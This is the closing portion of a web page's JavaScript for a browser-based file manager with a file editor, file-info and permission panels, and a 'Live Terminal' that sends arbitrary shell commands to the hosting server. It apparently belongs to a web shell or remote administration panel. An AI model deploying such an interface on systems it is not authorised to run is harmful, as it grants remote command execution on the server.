if (!data.writable) {
document.getElementById('editorStatus').textContent = '(Read-only)';
document.getElementById('editorStatus').style.color = '#f00';
}
} else {
document.getElementById('editorContent').value = 'Error: ' + (data.error || 'Failed to load file');
showToast('Failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => {
document.getElementById('editorContent').value = 'Error: ' + err;
showToast('Failed: ' + err, true);
});
}
function saveEditorContent() {
const path = document.getElementById('editorPath').value;
const content = document.getElementById('editorContent').value;
if (!path) {
showToast('No file loaded', true);
return;
}
document.getElementById('editorStatus').textContent = 'Saving...';
document.getElementById('editorStatus').style.color = '#ff0';
const formData = new FormData();
formData.append('action', 'saveFile');
formData.append('path', path);
formData.append('content', content);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
document.getElementById('editorStatus').textContent = 'Saved!';
document.getElementById('editorStatus').style.color = '#0f0';
document.getElementById('editorInfo').textContent = 'Size: ' + formatBytes(data.size) + ' | Writable';
showToast('File saved successfully');
} else {
document.getElementById('editorStatus').textContent = 'Save failed!';
document.getElementById('editorStatus').style.color = '#f00';
showToast('Save failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => {
document.getElementById('editorStatus').textContent = 'Save failed!';
document.getElementById('editorStatus').style.color = '#f00';
showToast('Save failed: ' + err, true);
});
}
function downloadEditorContent() {
const path = document.getElementById('editorPath').value;
const content = document.getElementById('editorContent').value;
const name = path ? path.split('/').pop() : 'file.txt';
const blob = new Blob([content], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = name;
a.click();
URL.revokeObjectURL(url);
}
function showInfoPanel(path) {
const formData = new FormData();
formData.append('action', 'getinfo');
formData.append('path', path);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
const info = data.info;
let html = '';
html += '<div class="info-row"><span class="label">Name</span><span>' + escapeHtml(info.name) + '</span></div>';
html += '<div class="info-row"><span class="label">Type</span><span>' + escapeHtml(info.type) + '</span></div>';
html += '<div class="info-row"><span class="label">Size</span><span>' + formatBytes(info.size) + '</span></div>';
html += '<div class="info-row"><span class="label">Permissions</span><span>' + info.permissions + '</span></div>';
html += '<div class="info-row"><span class="label">Owner</span><span>' + escapeHtml(String(info.owner)) + '</span></div>';
html += '<div class="info-row"><span class="label">Group</span><span>' + escapeHtml(String(info.group)) + '</span></div>';
html += '<div class="info-row"><span class="label">Modified</span><span>' + info.modified + '</span></div>';
html += '<div class="info-row"><span class="label">Readable</span><span>' + (info.readable ? 'Yes' : 'No') + '</span></div>';
html += '<div class="info-row"><span class="label">Writable</span><span>' + (info.writable ? 'Yes' : 'No') + '</span></div>';
html += '<div class="info-row" style="flex-direction:column;gap:5px"><span class="label">Path</span><span style="word-break:break-all;font-size:0.75rem">' + escapeHtml(info.path) + '</span></div>';
document.getElementById('infoContent').innerHTML = html;
document.getElementById('infoPanel').classList.add('active');
} else {
showToast('Failed to get info: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Failed: ' + err, true));
}
function closeInfoPanel() {
document.getElementById('infoPanel').classList.remove('active');
}
function formatBytes(bytes) {
if (bytes === 0 || bytes === null) return '0 B';
const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}
let terminalCwd = currentDir;
let executionMethod = null;
let ttyMethod = null;
let ttyEnabled = false;
function toggleTtyMode() {
ttyEnabled = document.getElementById('ttyMode').checked;
const label = document.getElementById('ttyLabel');
if (ttyEnabled) {
label.textContent = 'TTY Mode (ON)';
label.style.color = '#27ae60';
} else {
label.textContent = 'TTY Mode';
label.style.color = '';
}
}
function executeCommand() {
const input = document.getElementById('terminalInput');
const command = input.value.trim();
if (!command) return;
if (command.startsWith('cd ')) {
const newDir = command.substring(3).trim();
handleCdCommand(newDir);
input.value = '';
return;
}
if (command === 'cd') {
handleCdCommand('~');
input.value = '';
return;
}
if (command === 'clear' || command === 'cls') {
clearTerminal();
input.value = '';
return;
}
commandHistory.push(command);
historyIndex = commandHistory.length;
const output = document.getElementById('terminalOutput');
output.innerHTML += '<div class="command"><span class="prompt">' + escapeHtml(terminalCwd) + ' $</span> ' + escapeHtml(command) + '</div>';
output.scrollTop = output.scrollHeight;
const formData = new FormData();
formData.append('action', 'terminal');
formData.append('command', command);
formData.append('workDir', terminalCwd);
formData.append('tty', ttyEnabled ? '1' : '0');
formData.append('timeout', document.getElementById('timeoutSelect').value);
const loadingId = 'loading-' + Date.now();
output.innerHTML += '<div id="' + loadingId + '" class="info">Running...</div>';
output.scrollTop = output.scrollHeight;
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
const loadingEl = document.getElementById(loadingId);
if (loadingEl) loadingEl.remove();
if (data.success) {
const text = data.output || '';
if (text.trim()) {
output.innerHTML += '<div class="output">' + escapeHtml(text) + '</div>';
}
if (data.method && !executionMethod) {
executionMethod = data.method;
}
if (data.tty) {
ttyMethod = data.tty;
}
updateTerminalHeader();
} else {
output.innerHTML += '<div class="error">Error: ' + escapeHtml(data.error || 'Command failed') + '</div>';
}
output.scrollTop = output.scrollHeight;
})
.catch(err => {
const loadingEl = document.getElementById(loadingId);
if (loadingEl) loadingEl.remove();
output.innerHTML += '<div class="error">Error: ' + escapeHtml(String(err)) + '</div>';
output.scrollTop = output.scrollHeight;
});
input.value = '';
}
function handleCdCommand(path) {
const output = document.getElementById('terminalOutput');
output.innerHTML += '<div class="command"><span class="prompt">' + escapeHtml(terminalCwd) + ' $</span> cd ' + escapeHtml(path) + '</div>';
const formData = new FormData();
formData.append('action', 'terminal');
formData.append('command', 'cd ' + path + ' && pwd');
formData.append('workDir', terminalCwd);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success && data.output) {
const newPath = data.output.trim();
if (newPath && newPath.startsWith('/')) {
terminalCwd = newPath;
output.innerHTML += '<div class="info">Changed to: ' + escapeHtml(terminalCwd) + '</div>';
updateTerminalPrompt();
}
} else {
output.innerHTML += '<div class="error">cd: ' + escapeHtml(path) + ': No such directory or permission denied</div>';
}
output.scrollTop = output.scrollHeight;
})
.catch(err => {
output.innerHTML += '<div class="error">cd failed: ' + escapeHtml(String(err)) + '</div>';
output.scrollTop = output.scrollHeight;
});
}
function updateTerminalHeader() {
const header = document.querySelector('.terminal-header h3');
if (header) {
let info = [];
if (executionMethod) info.push(executionMethod);
if (ttyMethod) info.push('tty:' + ttyMethod);
if (info.length > 0) {
header.innerHTML = '💻 Live Terminal <span style="font-size:0.7rem;color:#888;margin-left:10px;">(' + info.join(' | ') + ')</span>';
}
}
}
function updateTerminalPrompt() {
document.getElementById('terminalInput').placeholder = terminalCwd + ' $ Enter command...';
}
function handleTerminalKey(e) {
if (e.key === 'Enter') {
executeCommand();
} else if (e.key === 'ArrowUp') {
e.preventDefault();
if (historyIndex > 0) {
historyIndex--;
document.getElementById('terminalInput').value = commandHistory[historyIndex];
}
} else if (e.key === 'ArrowDown') {
e.preventDefault();
if (historyIndex < commandHistory.length - 1) {
historyIndex++;
document.getElementById('terminalInput').value = commandHistory[historyIndex];
} else {
historyIndex = commandHistory.length;
document.getElementById('terminalInput').value = '';
}
}
}
function clearTerminal() {
document.getElementById('terminalOutput').innerHTML = '<div class="info">Terminal cleared.</div><div class="output">Working directory: ' + escapeHtml(terminalCwd) + '</div>';
if (executionMethod) {
document.getElementById('terminalOutput').innerHTML += '<div class="info">Execution method: ' + executionMethod + '</div>';
}
}
function escapeHtml(text) {
if (text === null || text === undefined) return '';
const div = document.createElement('div');
div.textContent = String(text);
return div.innerHTML;
}
function refreshPage() {
location.reload();
}
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') {
closeModal('renameModal');
closeModal('newFolderModal');
closeInfoPanel();
document.getElementById('contextMenu').classList.remove('active');
}
if (e.key === 'Enter') {
if (document.getElementById('renameModal').classList.contains('active')) {
doRename();
} else if (document.getElementById('newFolderModal').classList.contains('active')) {
doNewFolder();
} else if (document.getElementById('newFileModal').classList.contains('active')) {
doNewFile();
} else if (document.getElementById('chmodModal').classList.contains('active')) {
doChmod();
}
}
});

</script>
</body>
</html>